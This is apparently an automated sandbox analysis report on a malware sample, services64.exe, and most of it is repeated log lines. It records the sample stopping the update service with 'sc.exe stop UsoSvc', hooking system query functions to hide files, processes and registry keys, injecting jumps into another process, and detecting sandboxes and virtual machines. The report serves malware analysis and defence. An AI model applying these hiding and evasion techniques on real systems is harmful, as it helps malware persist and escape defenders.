    Source: C:\ProgramData\WindowsServices\WindowsAutHostFile created: C:\Windows\Temp\ybmcltmshprh.sysJump to dropped file
    Source: C:\Users\user\Desktop\services64.exeFile created: C:\ProgramData\WindowsServices\WindowsAutHostJump to dropped file
    Source: C:\ProgramData\WindowsServices\WindowsAutHostFile created: C:\Windows\Temp\ybmcltmshprh.sysJump to dropped file
    Source: C:\Users\user\Desktop\services64.exeFile created: C:\ProgramData\WindowsServices\WindowsAutHostJump to dropped file
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

    Hooking and other Techniques for Hiding and Protection

    barindex
    Hooks files or directories query functions (used to hide files and directories)
    Source: explorer.exeIAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile
    Hooks processes query functions (used to hide processes)
    Source: explorer.exeIAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation
    Hooks registry keys query functions (used to hide registry keys)
    Source: explorer.exeIAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey
    Loading BitLocker PowerShell Module
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Modifies the prolog of user mode functions (user mode inline hooks)
    Source: explorer.exeUser mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF
    Overwrites code with unconditional jumps - possibly settings hooks in foreign process
    Source: C:\Users\user\Desktop\services64.exeMemory written: PID: 7432 base: 7FFE22370008 value: E9 EB D9 E9 FF Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeMemory written: PID: 7432 base: 7FFE2220D9F0 value: E9 20 26 16 00 Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeMemory written: PID: 7432 base: 7FFE2238000D value: E9 BB CB EB FF Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeMemory written: PID: 7432 base: 7FFE2223CBC0 value: E9 5A 34 14 00 Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostMemory written: PID: 2696 base: 7FFE22370008 value: E9 EB D9 E9 FF Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostMemory written: PID: 2696 base: 7FFE2220D9F0 value: E9 20 26 16 00 Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostMemory written: PID: 2696 base: 7FFE2238000D value: E9 BB CB EB FF Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostMemory written: PID: 2696 base: 7FFE2223CBC0 value: E9 5A 34 14 00 Jump to behavior
    Source: C:\Windows\System32\lsass.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

    Malware Analysis System Evasion

    barindex
    Contains functionality to compare user and computer (likely to detect sandboxes)
    Source: C:\Windows\System32\dialer.exeCode function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,25_2_00000001400010C0
    Query firmware table information (likely to detect VMs)
    Source: C:\Users\user\Desktop\services64.exeSystem information queried: FirmwareTableInformationJump to behavior
    Source: C:\Users\user\Desktop\services64.exeSystem information queried: FirmwareTableInformationJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostSystem information queried: FirmwareTableInformationJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostSystem information queried: FirmwareTableInformationJump to behavior
    Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
    Source: WindowsAutHost, 00000025.00000002.1884994228.0000016F8F90B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
    Source: services64.exe, 00000000.00000002.1824302661.00000225232BB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLLQ
    Tries to evade analysis by execution special instruction (VM detection)
    Source: C:\Users\user\Desktop\services64.exeSpecial instruction interceptor: First address: 7FF79BBCC165 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
    Source: C:\Users\user\Desktop\services64.exeSpecial instruction interceptor: First address: 7FF79BBCC1AF instructions rdtsc caused by: RDTSC with Trap Flag (TF)
